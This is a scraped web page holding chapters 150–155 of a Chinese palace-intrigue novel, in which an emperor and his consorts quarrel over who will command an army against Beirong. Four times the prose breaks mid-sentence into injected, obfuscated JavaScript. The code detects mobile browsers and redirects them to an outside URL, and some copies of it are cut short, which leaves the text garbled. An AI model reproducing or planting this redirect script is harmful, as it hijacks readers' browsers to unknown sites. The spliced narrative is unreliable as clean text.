言官们上奏,让定国侯出征北戎。 可定国侯已经败过一次了,他们这是让定国侯去送死。 先皇时,文官之首乃是李太傅,李氏一族虽然没落了,但李太傅的学生仍在朝为官。 楚妃刚出宫归宁,奏折就送到了陛下跟前儿,恐怕陛下是在怀疑她把消息送出了宫。 “平身吧。”夜不群声音淡淡,整个人出奇的平静。 可他周身散发的帝王威严,仍是让李含萱惴惴不安。 陛下在乎的只有皇后娘娘,他九岁时就帮先皇执掌着整个轩辕,在他的手上,**几百万的人。 面对这样一位帝王,她没有丁点底气。 她深知,她就像一粒尘埃、一颗水珠一般,毫无作用,可有可无。 “谢陛下。”李含萱直起腰身,慢慢掀开眼皮朝着夜不群看去。 他脖颈上那些醒目的痕迹,让她质疑的同时又难免心生羡慕。 “贤嫔,你之前可有常来宫里陪李太妃?”夜不群翻开的奏折只看了一眼,又扔在了桌子上。 李含萱如实回答,“自先皇后故去,姑母便不让家中女眷再进宫了。 先皇故去后,姑母更是将自己困于幽宫之中,不让任何人入宫,臣妾实没什么机会见到姑母。” “李太妃为这后宫尽心尽力,你李氏一族对轩辕亦是劳苦功高。 朕也盼望着,李家能再出一位像李太傅那样的贤臣,读书人,都高风亮节。” 夜不群说着,将刚翻开看了一眼的奏折转而递给了她。 这吓了李含萱一跳,但她又不敢不接,忙微微弯腰,双手捧过来。 “看看吧。”夜不群温声说道。 第150章西越国驰援 “是。”李含萱怯生生的应着。 大致看一眼,就能知晓这道奏折是何意,这是她父亲上疏的折子。 言辞犀利,字字句句都在表明,启西之祸皆是因定国侯而起,定国侯不灭北戎,群臣寝食难安。 这分明就是在逼陛下,要让陛下把左膀右臂给砍掉。 短短的时间里,李含萱试图弄明白夜不群心中所想,可她一点儿头绪都没有,也不敢轻易开口,便静静等着夜不群的下一个吩咐。 “可看明白了?”夜不群问着。 李含萱点了点头,应着:“臣妾看清楚了折子上的内容。” 夜不群随手一推,面前堆积如山的奏折轰然倒塌。 他用的力道不小,有多数都掉在了地上。 李含萱也不敢蹲下去捡,她下意识的身子往后倾了倾,大气都不敢出。 “荣贵妃自请出征、宁妃极力推举楚天明,你可有什么合适的人选推荐?”夜不群放松下来,靠在椅背上,翛然变冷的声音问着。 “陛下,臣妾久居深闺,读的不过都是三从四德,朝堂之事儿,请陛下恕臣妾愚笨,无法替陛下分忧。”李含萱将手中奏折,款款放在了桌子上。 “那你便说说,到底是荣贵妃合适,还是楚天明合适?”夜不群忽地转过头来,一双寒冰双眸看着她。 李含萱面露惊慌,直接扑通一声跪在了地上,“陛下,臣妾不知,但要说臣妾毫无愚见,连臣妾自己都不会信。” “荣贵妃承蒙圣宠,又要侍候皇后娘娘,实在不宜远行,臣妾听闻,战场上刀剑无眼,若荣贵妃真有不测,太子和二殿下无人养育。” “楚将军自是最合适的人选,可楚家军已不存在,强兵配猛将,缺一不可。” 李含萱言下之意,这两人都不适合。 可轩辕武将匮乏,很难再找出合适的人选。 之前不断有人想推举人去启西立功,但事实是,**六位将领。 如今大家都觉得楚天明并不适合,启西形势也刻不容缓,可纵观朝堂,却没有一个最为合适的人。 挑来挑去,也就只有定国侯了。 李含萱只是将朝臣们心中所想,说了出来而已。 真诚是永远的必杀技,在无计可施的时候,不妨和盘托出。 陛下在她面前提起姑母,想来也是希望她像姑母那样,全心全意对轩辕和后宫付出。 倘若这时候她还存了私心,不以事实而论,那么等待她的,兴许就是千人斩的杀头刀了。 “你倒是会替你父亲开脱。”夜不群的声音听不出喜怒。 李含萱没解释,陛下没生气,那就证明她说的没错,至少立场是没错的。 “给你父亲传个话,让李泽里好好准备准备,不日奔赴楚州前线。”夜不群命令着。 李含萱不敢抬头,也不敢有片刻的迟疑,“是,臣妾领命。” 夜不群摆了摆手,懒得再多说一个字。 “臣妾告退。”李含萱行过礼后,从屋子里退了出来。 她面色煞白,刚从荣华宫出来,就碰上了西华宫的宫女,请她过去见宁妃。 赵小高跑来荣华宫,是毛遂自荐的。 上次没能把北戎给彻底灭了,他心中到现在还堵着一口气呢。 没想到,北戎贼心不死,竟不知从哪儿求来了外援,欲再次对轩辕发起进攻。 据探子来报,此次足足有十万大军。 “陛下,丰庆郡主那儿子就是个草包,打仗真指望不上他,这次北戎来势汹汹。 据说扎木乃是不远**,跑去什么西越国请来的援兵,我们不能掉以轻心。” “那不然呢?让大贤去?”夜不群听他喋喋不休的说完,开口问着。 “大贤要督造神威宝库里的东西,陛下,就让臣去吧,臣这次一定不会掉以轻心,会小心应对的,陛下就给臣一次一雪前耻的机会吧。”赵小高急切道。 夜不群道:“好好养你的伤,御医的话,你是一个字都没听进去,以后有你为国效力的时候。” “陛下……”赵小高还要争取。 夜不群摆了摆手,厉声让他出去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616391|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 赵小高负气的站起身,这才注意到夜不群脖子上的痕迹。 他从屋子里出来,怒气冲冲的走到沈安安面前,一把打落了沈安安盖在脸上的扇子。 “你个祸国殃民的妖妃,引诱陛下迷惑陛下,你万死难辞其咎。”他骂着。 沈安安睁开眼睛,“你要是没脑子你就回去好好吃核桃补补,我要是真妖妃,你早被大卸八块了。” “哼。”赵小高冷哼了一声,出了荣华宫。 沈安安往屋子里瞥了一眼,见夜不群没有要离开的意思,她起身悄悄咪咪的去了椒房殿。 “皇后娘娘。”沈安安蹦蹦跳跳的进了屋子,坐在安乐旁边叫着。 安乐看向她,试图在她身上发现点什么。 沈安**着她的手,撒娇道:“皇后娘娘,臣妾都按照您的吩咐做了,您能不能跟陛下说说,让臣妾带着太子和亦德去楚州打仗啊? 臣妾要的兵不多,一万足够,皇后娘娘您就满足臣妾这个小愿望吧。” 安乐任由她摇晃着自己的手臂,宠溺的看着她,语重心长道:“你现在首要的任务是给陛下生孩子,打仗自有那些将军们,用不上你。 你也应该和亦天亦德保持距离了,你不说本宫倒是没记起来,把他们两个也给皇贵妃送去吧,养在你那里,待日后你的皇儿出生了,他们心里会越发的不平衡。 届时,宫变的可能性更大了,陛下也年纪不小了,该有个自己的皇儿了。” 两人正说着,夜不群从门外进来,阴冷的视线率先落在沈安安身上,瞪着她。 安乐抬头,望着他高大挺拔的身子。 沈安安昨夜的战果,尽数暴露在她眼前。 她说不出心里是什么滋味,的确是高兴的,可脑子里不受控制的循环着夜不群那句“朕谁也没有宠幸。” 沈安安腾一下起身,烦躁的甩着袖子,“皇后娘娘,那臣妾就先告退了,臣妾跟您说的事儿,您记在心上,好好再考虑考虑。” 至于夜不群,她懒得理,福身行了一礼,转身就离开了。 第151章谋 偌大的殿内,一时间只剩下安乐和夜不群。 她似是早就料到了夜不群一定会来,把太监宫女都打发去别处了,免得他一个不高兴殃及池鱼。 其实安乐想的太多了,至少如今的夜不群不会在她面前喜怒无常、暴虐残忍。 失去过她一次,他格外珍惜现在。 安乐什么也不问,夜不群也一时无话。 沈安安回到了荣华宫,夜亦天和夜亦德也被送了回来。 “母妃。”这才一晚上没见,夜亦德对她就甚是想念。 夜亦天跟在他身后,步子不急不缓,看见沈安安也当没看见,手里捧着好多书,压的他小小的身子直不起来。 沈安安将夜亦德抱在怀里,再要伸手去抱夜亦天时,被他无情的一把推开了。 “嘿。”她也是个倔性子,再次把他搂进了怀里,强行抱进了屋子里。 “别看你这些破书了,你想不想去楚州?”沈安安把他怀里的书拿掉,十分认真的问着。 夜亦天没回答,夜亦德听闻却很激动,两只小胳膊举起来,兴奋道:“母妃,我去,我去。” “又要跟北戎打仗了吗?这一次我一定要跟母妃去前线,我要看看定国侯是怎么被那群草包打败的。” 沈安安揉了揉他的脑袋,道:“轻敌是大忌,可别小瞧了人家,我听说啊,这次是跟什么西越国打。” 她每天都往椒房殿跑,多多少少能听到些。 **处理政务时,可不会避着皇后娘娘。 皇后又什么都跟她讲。 “哼。”夜亦天冷哼一声,给他们泼着冷水,“你们去不了。” “为什么?” “为什么啊皇兄?” 一大一小同时出声问着,两双单纯的眸子瞥向了他。 夜亦天拿起一本书,翻开看着,也不言语。 急的一大一小左右缠着他,让他快说。 “叩叩叩。”门外传来了敲门声。 沈安安头也没回,道:“进来。” 李汉民领着万辛,一步跨进了门,两人拱手冲坐着的他们行礼。 “你怎么把他给带来了?”沈安安指着万辛问。 万辛嘿嘿一笑,弯着腰道:“董副将在替卑职当值,卑职好些日子没来给太子殿下和娘娘请安了。 今日得空儿,便来拜访了,没打扰到娘娘吧?” 沈安安上眼皮碰碰下眼皮,不悦全都写在脸上,“你说呢?” 万辛闻言,悄咪咪的看了一眼夜亦天,见他没表态,继续装傻充愣的笑着。 “娘娘。”李汉民正色道,“许是因为宁妃娘娘极力推荐您,陛下这才不让您出征的。” 夜亦德歪着头看向他,“不对吧李大人,难道不是皇叔想给你们这群言官颜色瞧瞧?” 李汉民神色如常,继续道:“身为臣子,自当为陛下分忧,大家上疏,也是因为想解启西之困。 此次西越国援兵十万,若不派一位厉害的将军出征,启西危矣。” “请不请得动楚大将军是一回事儿,楚大将军多年未上战场,能不能打赢又是另外一回事儿。 军机大事,岂能延误?试问除了定国侯,还有更合适的第二人选吗?” “宁妃视娘娘为眼中钉肉中刺,这才冒死进言,可这背后有没有定国侯的授意,想必大家心中一清二楚。” “定国侯都生了退意的仗,那肯定就是一场硬仗,陛下竟然让兵部武选清吏司主事出征。” 这位主事,就是李泽里。 就这个正六品的官职,还是丰庆郡主想方设法给他谋来的。 旨意已经经由贤嫔送到了李家,丰庆郡主得知后勃然大怒,让李家不论想什么办法,都要让陛下收回成命。 李含萱给家里的信中说明了,别再上折子掺和启西的事儿了。 这不,这烫手山芋就来到了李汉民手中。 他说罢,抬眸去看沈安安,不成想跟她的视线正好撞上。 沈安安嘴角向下撇着,虽没明显表现出不悦,但李汉民还是感受到了。 他闭了嘴,心中还有千言万语,全都压了下去。 别看沈安安平时没心没肺的,但她是最不喜欢身边人有异心的。 李汉民低低叹息一声,他也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616392|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不想把不疼的手往磨眼儿里伸,可他生在李家,他有什么办法。 良久,沈安安才说:“定国侯就没你说的那么有心机。” “他比谁都想去启西战场,是陛下不让他去;陛下确定的人选,不可能更改的,你们别白费力气了。” 沈安安摆了摆手,示意他们下去。 夜亦天忽地从凳子上站起来,不发一言的出了主殿。 万辛眼珠子滴溜溜的转着,同沈安安告退后忙跟在了夜亦天身后。 两人朝着花园的凉亭走去。 万辛开始狂吐苦水,“太子殿下,若此次真去启西,您能不能把卑职也带上? 卑职别的本事虽然没有,但一定会保护好太子殿下的,兵权至关重要,殿下您也确实应该为自己谋划谋划了。” 夜亦天在树荫下的石凳子上坐下来,“孤何尝不知万大人是在为孤考量。 可孤连将你调在身边都不行,兵权,他是不会交到孤手上的,哪怕一兵一卒。” “殿下。”万辛蹲在他身边,“现如今启西就是一个烂摊子,看似是烫手山芋,实则是绝好的机会。 陛下要让启西重新洗牌,那这一次势必不会派兵前去,不管是招兵买马,还是收服仅剩的楚家军,于殿下而言,都是有益的。 况且,楚将军是殿下您的表叔父,他向来敬重先皇,不会不帮您的。” “卑职实话跟殿下说,守宫门这活儿卑职实在是干不下去了,卑职愿随殿下一起,建功立业。” 他是个侯爷,却每天守宫门。 若是个守宫门的小将领也便罢了,偏偏就是个小兵。 那些人,都是魏大贤和赵小高的人,成天想着法子的折腾他,他后悔了。 富贵险中求,他要**。 “孤知道了,你下去吧。”夜亦天低垂着眼眸,好半晌就说了这么一句。 万辛也摸不准他的性子,只得先离开了。 夜亦天一个人坐在树荫下,手指在桌子上画来画去,也不知道在画什么。 直到看见椒房殿的太监来把沈安安叫走了,他这才起身,去找夜亦德了。 第152章该死的 “皇兄,我去说了真的有用吗?”夜亦德一双圆溜溜的眼睛,望着夜亦天问着。 “他疼你。”夜亦天稚嫩的声音回着,“况且也没有更合适的人选了。” “那好吧,那我去勤德殿找皇叔。”夜亦德说罢,起身离开。 西华宫内。 赵时意躺在美人榻上,吃着葡萄。 跪在她面前的李含萱,身上却盖着冬日的棉被。 热的她大汗淋漓,连头发都湿透了,贴在头皮上,又痒又难受。 她已经热病了,头昏脑涨,睁开眼睛就天旋地转的,以至于她只能半眯着眼睛,紧紧的盯着面前的地砖。 “你倒是听话,让你做什么就做什么,半句反抗的话也没有。”赵时意眉头皱了皱。 李含萱虚弱的开口:“娘娘的吩咐,嫔妾不敢不从。” “你知道本宫说的不是这个。”赵时意命宫女,将葡萄皮泼在了她脸上。 李含萱偏了偏脸,换来的就是狠狠一个巴掌。 她身子不稳,倒了下去,背上又生生挨了几脚。 银铃是有身手的,**疼的很。 李含萱艰难稳住身子,道:“嫔妾在娘娘跟前儿都不敢妄言,更何况是在陛下面前。 娘娘要推举人,大可以去勤德殿或者椒房殿找陛下,恕臣妾无能,不能替娘娘传话。” 赵时意嘴角一抽,“好伶牙俐齿的一张嘴啊,本宫说什么了吗?” 她抬起一只脚,用脚尖勾住李含萱的下巴,迫使对方抬起头来。 “银铃,给本宫打。” “是。”她一声令下,银铃应着。 “啪啪……”响亮的耳光一个接一个,直到李含萱几乎晕厥。 “真没意思,拖出去吧。”赵时意看着要死不活的人,没了兴致。 李含萱就这么被丢出了西华宫。 好巧不巧,碰上了来串门的独孤若兰。 “这是怎么回事儿?”独孤若兰问着银铃。 同时,她给青禾使了个眼神,青禾让两个宫女,将李含萱扶了起来。 银铃道:“回禀皇贵妃娘娘,贤嫔冲撞了我们娘娘,娘娘对她小施惩戒罢了。 谁承想,她就是豆腐块做的,连两个巴掌都挨不过去。” 独孤若兰踏进殿门,“罚人也要有个分寸,别闹出人命,皇后娘娘醒了,宫里见不得血腥。 若是冲撞了皇后娘娘,凭你家娘娘是谁都得死。” 独孤若兰冲身后两宫女道:“把贤嫔送回宣明宫吧,没事儿让她别出来晃荡。” “是。”两宫女齐声应着,搀扶着李含萱离开了。 银铃将人请进了西华宫。 赵时意不情不愿的起身行礼。 独孤若兰往主位上一坐,赵时意在右手边坐下来。 “宁妃,本宫可是哪里得罪你了?”独孤若兰皱眉问着。 “娘娘说的这是哪里话?嫔妾近来哪里都没去,一直在自己宫里待着呢。”赵时意敷衍着,她连个像样的借口都不想找。 “皇后娘娘醒了也有些日子了,我们也该去拜见了,你现在就随本宫去吧。” 赵时意听闻这话,假意咳嗽了两声,道:“实在不巧,嫔妾病了,皇后娘娘身子本来就弱,嫔妾可万不能将病气过给皇后娘娘。” “刚才打贤嫔的时候,怎么不见你生病?你要是不陪本宫去,那本宫只好领着贤嫔去了。”独孤若兰明着威胁。 赵时意忍的牙痒痒,这该死的皇贵妃,自己去讨嫌还要拉上她。 “走吧宁妃。”独孤若兰说着便起身了。 无奈,赵时意只得跟上。 李含萱的背后是李家,陛下虽有敲打言官的意思,但也念着李太傅和李太妃的好。 如若不然,就不是让贤嫔给家里传话了。 陛下都给李家留着三分薄面,她欺辱李含萱的事儿,还是尽量不要闹到御前去。 两人踏着余晖,往椒房殿去。 独孤若兰忽地想起什么,问着:“宁妃从小跟在定国侯身边?” “是的娘娘。”赵时意简单回着。 “本宫听说定国侯从来不养废物,想来宁妃你也是身手了得,跟着定国侯没少学真本事吧?”独孤若兰明晃晃的就问出口了。 赵时意不知道她打的是什么主意,干脆开门见山的问:“娘娘这是何意?” 独孤若兰却是冲着 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“你们先平身吧,起来回话。”安乐温润的声音响起。 两人不敢动,毕竟夜不群还没有发话。 “皇后叫你们平身,你们是聋了吗?”夜不群厉声呵斥。 她们是丈二的和尚摸不着头脑,下意识的开口:“谢陛下。” “怎么?你们是不把皇后放在眼里?” 独孤若兰和赵时意齐齐跪下,额头贴在地面上,开口认错:“臣妾知错了,望陛下恕罪。” 她们什么都没做啊,没有蔑视皇后娘娘啊,进来就恭恭敬敬的行礼了。 听闻皇后娘娘那话,也没有责备她们的意思,到底哪个字触怒了陛下? “不在自己宫里好好待着,跑这里来做什么?”夜不群声音犹如地狱阎罗,质问着。 “回禀陛下,臣妾……”赵时意刚想为自己开脱。 夜不群冰冷的声音打断了她,“你闭嘴,让皇贵妃说。” 第153章好东西,一起分享 赵时意悻悻闭了嘴,笔挺的跪在地上。 独孤若兰不敢抬头,事发突然,她脑子里也想不出别的,干脆直抒胸臆,“陛下,臣妾冒然来皇后娘娘的椒房殿打扰,是想替陛下分忧。” “臣妾与宁妃商量了一番,特来奏请陛下,请陛下允准我二人出征驰援。 臣妾出自西南王府,王府世代武将,宁妃自幼跟在定国侯身边,定国侯勇猛无比。” “侯爷的伤还未痊愈,不宜再上战场,宁妃忠孝两全,想替父出征,为陛下分忧。 臣妾与宁妃情同姐妹,不忍宁妃一人奔赴边疆,况且臣妾也想做个有用之人,哪怕为国捐躯,也在所不惜,望陛下成全臣妾与宁妃。” 独孤若兰说罢,砰砰磕了三个响头。 然后头死死的贴在地面上,她可不敢抬头去看夜不群是什么脸色。 沈安安都能上战场,她为何不能? 她要证明给陛下看,她不比沈安安差,她是个值得被宠幸的妃子。 “宁妃,确有此事?”夜不群没理会独孤若兰,反而问着赵时意。 声音森寒,赵时意实在没办法从这简单的一句话里判断出他到底是什么意思。 “回禀陛下,臣妾愿同皇贵妃一起出征,若能为陛下分忧,实乃臣妾三生有幸。”赵时意头埋的低低的,回着。 皇贵妃简直是个蠢货,她们成天在宫里待着,都很难受宠,还要巴巴的往出跑。 上了战场,万一**怎么办? 在战场上立功,哪里有生皇子容易? 她也是鬼迷了心窍,怎么就跟着跑来了椒房殿。 “难得你们有这份心。”夜不群幽冷的声音响起。 “但本朝律令,女子不得为将,下去吧。” “是,臣妾遵命。”为防止独孤若兰再要争取,赵时意率先开口。 “臣妾不敢打搅皇后娘娘,陛下,臣妾先告退了。” “嗯。”夜不群应着。 赵时意闻言,也懒得再管独孤若兰了,起身匆匆忙忙退出了勤德殿。 独孤若兰执拗的跪在地上,“陛下,荣贵妃都能去,臣妾为何不能去? 臣妾奉命养育三殿下,要以身作则。” 安乐一双温柔眼眸,盯着独孤若兰,只觉得她眉宇间,有些像已故的二叔。 不由得,多看了两眼。 独孤若兰察觉到,抓住机会,对上安乐的视线,满目殷切道:“皇后娘娘,陛下钟情于您一人,臣妾在这宫里每日不是吃了睡就是睡了吃,臣妾也想做些有用的事儿,还望皇后娘娘成全。” 这话就是在告诉安乐,她在深宫里寂寞的很。 女人要的宠爱,可不是赏赐点好东西。 夜不群给了她作为皇贵妃的体面,可也仅此而已。 荣贵妃就是因为出征了一次,才得陛下刮目相看的,那她也要效仿。 安乐缓缓开口,“你如今管着后宫,责任重大,怎能想着往外跑? 朝中又不是无人可用了,真到了那一天,不用你求,陛下也会让你披甲上阵的。” “皇后娘娘……” 独孤若兰还想说什么,崔福躬身请她出去。 再求下去,只怕是会触怒龙颜,她只好离开了。 崔福送她出了椒房殿,劝慰着:“皇贵妃娘娘,您如今的荣宠无人能及,这宫里啊,不能少了您。” “您又何必事事都要跟荣贵妃争个高低?” 独孤若兰在殿门口顿住步子,诚然的发问:“崔公公,为何她可以,本宫就不可以?” “娘娘,荣贵妃是陛下另眼相待的人,她和旁人能一样吗?恕老奴多嘴,您是西南来的,领兵打仗的事儿,日后还是少在陛下跟前儿提的好。” “娘娘,老奴就不送您了。” 崔福说罢,转身离开。 这也是看在皇后娘娘的份儿上,才多提点了独孤若兰两句。 西南王府存于现在,是夜不群看在安乐的面子上才没赶尽杀绝。 否则,就凭夜昭和那蹩脚的借口,夜不群真能放任世子长大? 真是说曹操曹操就到。 翌日辰初,魏大贤匆匆进宫,在勤德殿觐见夜不群。 “陛下,独孤及来了京城,现在就在京城外等候接见。”魏大贤道。 一夜未睡的夜不群揉着眉心,“他来京城做什么?” “说是给陛下和皇后娘娘送特产来了,臣派人一路查过了,确实是他孤身一人。 而且,六公主似乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616394|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知情,正派人四处寻找呢。”魏大贤回着话。 独孤及一出西南王府,便被魏大贤的人盯着了。 来京城的一路上,都被监视着,因着没弄清楚他此次回京的目的,所以之前才一直都未上报。 “他来就为了送点特产?”夜不群反问。 魏大贤低着头,正色道:“目前来看,确实如此。” “宣进宫吧。”夜不群从龙椅上站起来,活动着筋骨。 “是。”魏大贤应了声,转身离开去接人了。 约莫一个时辰,独孤及被带进了勤德殿。 “臣参见陛下,陛下万岁万岁万万岁。”独孤及双膝跪地,恭恭敬敬的行礼。 “平身吧。”夜不群道。 “谢陛下。”独孤及从地上起来。 勤德殿陷入了死一般的寂静,夜不群没有同他寒暄的意思。 他却兀自开口道:“陛下,臣带了西南特产的菌子来,另外还带了几位厨子……” 独孤及说了一大通,夜不群听明白了他的言外之意,他想见沈安安。 “你好不容易来一趟京城,朕就不把你约束在宫里了,让荣贵妃陪你逛逛吧。 你是皇后堂弟,本应让你们姐弟团聚的,但皇后身体虚弱,太医说了不宜见外人。 荣贵妃与皇后交好,你想知道什么,问她便是了。”夜不群开口,满足了独孤及的愿望。 “臣谢过陛下,陛下万岁万岁万万岁。” “臣告退。” 自然,还是魏大贤把独孤及送出宫的。 给他安排了客栈,但他不去,问了魏大贤沈安安会从哪个宫门里出来后,便等着了。 午正时分,沈安安顶着烈日出现。 独孤及撑起手中的伞,走了过去,谦卑的将伞打在沈安安身上。 她看上去垂头丧气的,看也不看独孤及一眼,拖着沉重的身子往前走了几步。 “马车呢?”没找到马车,沈安安更不悦了。 “是臣思虑不周。”独孤及道。 言下之意,没有准备马车。 沈安安回眸,狠狠的瞪了他一眼。 他整个人暴露在正午的太阳底下,一把绿色的油纸伞,却是为她遮挡住太阳。 第154章 情投意合 独孤及从腰间抽出一把折扇,“刷”一下打开,给她扇风。 沈安安停住脚步,一把推开他的扇子,“你还没完了?” 先不说她是皇上的妃子,论辈分,她也是他的长辈。 这番做派看在别人眼中,像什么样子? 沈安安是不拘小节,但她上一世好歹也是世家大族的小姐,该懂的规矩还是懂的。 独孤及没吭声,把扇子收了起来,把手中的伞也给她递了过去。 沈安安没好气的接过去,“带路。” 独孤及走在前面,将沈安安一路带到了魏大贤给他安排的客栈。 他道:“此处是首辅大人的产业,臣的一举一动都会传到陛下跟前儿去,娘娘不必拘谨。” 沈安安看这楼里有表演的,便上了三楼,点了个安静的厢房。 桌椅就摆放在栏杆前,坐在舒服的椅子上,可以看清楼下台子上的表演。 几位异域风情的女子,正在跳舞,欢呼喝彩的人不少,一时间,沈安安看的是津津有味。 桌子上摆放着瓜果。 独孤及拿起一块西瓜,将西瓜籽挑干净后,放在了沈安安手边。 她不说话,他就保持沉默。 一舞结束,沈安安回头看他。 “你不知道咱俩身份都很敏感吗?你觉得咱俩这样合适吗?我虽然是西南王府出去的,但我现在跟王府没关系了。 你回去给你娘回个话,以后不要有事没事儿麻烦我,我怕麻烦的很。” 表明了自己的态度,沈安安才问他找自己何事儿? “咦,贵妃娘娘,您怎么在这儿?”独孤及正要开口,一道男声忽地响起。 “世子也在?世子是何时进京的?怎么还跟娘娘同游了?” 杨士青倒是不见外,凑到两人面前来,在一张椅子上坐了下来。 独孤及唇角微微勾起,是似笑非笑的表情,他懒得跟杨士青寒暄。 沈安安撇清关系道:“什么同游?是陛下让我替皇后娘娘招待世子。” “哦。”杨士青恍然大悟。 他偏头看向独孤及,“世子莫不是专程来找贵妃娘娘的?” “杨大人真会说笑。”独孤及道。 “哪里是说笑?要说世子看望皇后娘娘,早该来了,怎么偏偏选在这个时候? 莫不是听闻了启西之变,怕贵妃娘娘要出征,这才不远**前来饯别的?” 杨士青说完呵呵笑了两声,给人一种开玩笑的感觉。 独孤及并未扭头看他,沉默片刻,忽地站起来,借口离开了。 他走了,杨士青便在他的位子上坐下来。 杨士青端着只有西瓜籽的盘子给沈安安看,“娘娘,您以前在西南王府的时候,跟世子情投意合?” 沈安安吐了口瓜子壳,“你有毛病啊?你看我这样,像是会提前情窦初开的人吗?” 杨士青还果真仔仔细细上下打量了一番,然后摇了摇头。 “那不就得了,饭可以乱吃,话不要乱说,我现在跟西南王府可没关系。”沈安安白了他一眼。 杨士青又抖了抖手上的盘子,“可依臣看,世子对您有情啊。” “就算臣再宠爱哪个小妾,可不会亲手给她挑西瓜籽的,依臣看,世子不是来探望皇后娘娘的,而是来探望娘娘您的。” …… 丰庆郡主入宫了,打着看望贤嫔的名义。 夜不群知道她进宫的目的是什么,干脆出宫去了。 丰庆郡主一肚子气没地儿撒,便在宣明宫里作威作福了。 “费了那么大的力气才把你送进宫,你不但不为家里谋利,倒把本郡主的儿子要送去战场。 当了妃子翅膀硬了?不把本郡主放在眼里了?”丰庆郡主恶狠狠的瞪着李含萱。 李含萱跪在地上,她还在病中呢,身体虚弱的很。 “母亲,我在宫中的艰难,浅璧都是看在眼里的,莫说是我了,便是宁妃娘娘想见陛下,那也是难上加难的。” “母亲实在不该让父亲上折子,国家大事,陛下自有定夺,无人可以左右陛下的心思。” “倒是教训起本郡主来了。”丰庆郡主只觉得可笑,抬眸与自己的女儿对视一眼,脸上满是讥笑。 “若不是你动心思,怎会是你代传陛下旨意呢?陛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616395|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下连楚州和西南那两位都不放在眼里,怎么就偏偏记起了泽里?” 浅璧坐在她旁边,附和道:“谁知道那天你在荣华宫都跟陛下说了什么? 是你嫉妒荣贵妃侍寝,用泽里给自己换侍寝的机会吧?你不是一直想效仿你姑母吗?” “你姑母把家里掏空了维持后宫花销,为了先皇险些跟家里闹翻,你也东施效颦,开始祸祸家里了。” 李含萱百口莫辩,她干脆不解释了。 人一旦有了偏见,只会执拗的认定自己心中所想,真相是什么并不重要。 丰庆看她又开始装哑巴,一个眼神,浅璧登时站起来,“啪”一个响亮的耳光,呼在了李含萱脸上。 “本郡主就不信了,陛下还能为了你,跟我翻脸不成。”丰庆示意浅璧,继续动手。 浅璧积压了好久,此时得了母亲命令,下起手来实在狠毒。 反正李含萱先前被宁妃罚过,就算陛下真的问起来,也只能追究到宁妃头上。 浅璧几个耳光,李含萱嘴角渗出了血。 芍药实在看不下去了,直接冲了进来,跪在了李含萱旁边,“郡主要罚就罚奴婢的,娘娘再怎么说也是陛下的妃子。 再这么打下去,娘娘脸上的伤就好不了了,到时候陛下追究起来……” “贱婢,这里有你说话的份儿?”丰庆厉声呵斥。 浅璧直接一脚,踹在了芍药的脸上。 这结结实实的一下,芍药登时就开始流鼻血了。 “母亲。”李含萱匍匐上前,抱住了丰庆的脚,央求着,“母亲让浅璧住手吧。 女儿……女儿虽不能阻止弟弟出征,但女儿有办法能让浅璧侍寝。 如今宫中侍寝的只有荣贵妃一人,若浅璧能侍寝,成为贵妃指日可待。 咱们李家,定能再出一位像姑母那样的人,女儿自问没有能力,只有浅璧可以。” 浅璧一听这话,心里乐开了花儿,冲丰庆道:“母亲,若我能成为贵妃,要把弟弟召回来,还不是一句话的事儿?” “弟弟去启西也要时间,说不定他还没到启西呢,召他回京的圣旨就送到府上了。” 第155章圣明的君主? 丰庆郡主小时候不得父母宠爱,长大后生了孩子,便将一双儿女宠溺坏了。 如今一听浅璧这话,觉得十分有道理,便点头应下了。 “看在你真心实意为了妹妹好的份儿,这次本郡主就不与你计较。 三日,若是三日你还没能让浅璧侍寝,本郡主有的是法子让你不好受。”丰庆睥睨着李含萱。 “是。”李含萱闻言,松开了抱住她脚的手,退后一步,小声应着。 “母亲,我送您。”浅璧扶着丰庆郡主,起身离开。 母女二人有说有笑。 芍药把李含萱从地上扶起来,坐在椅子上,给她擦药。 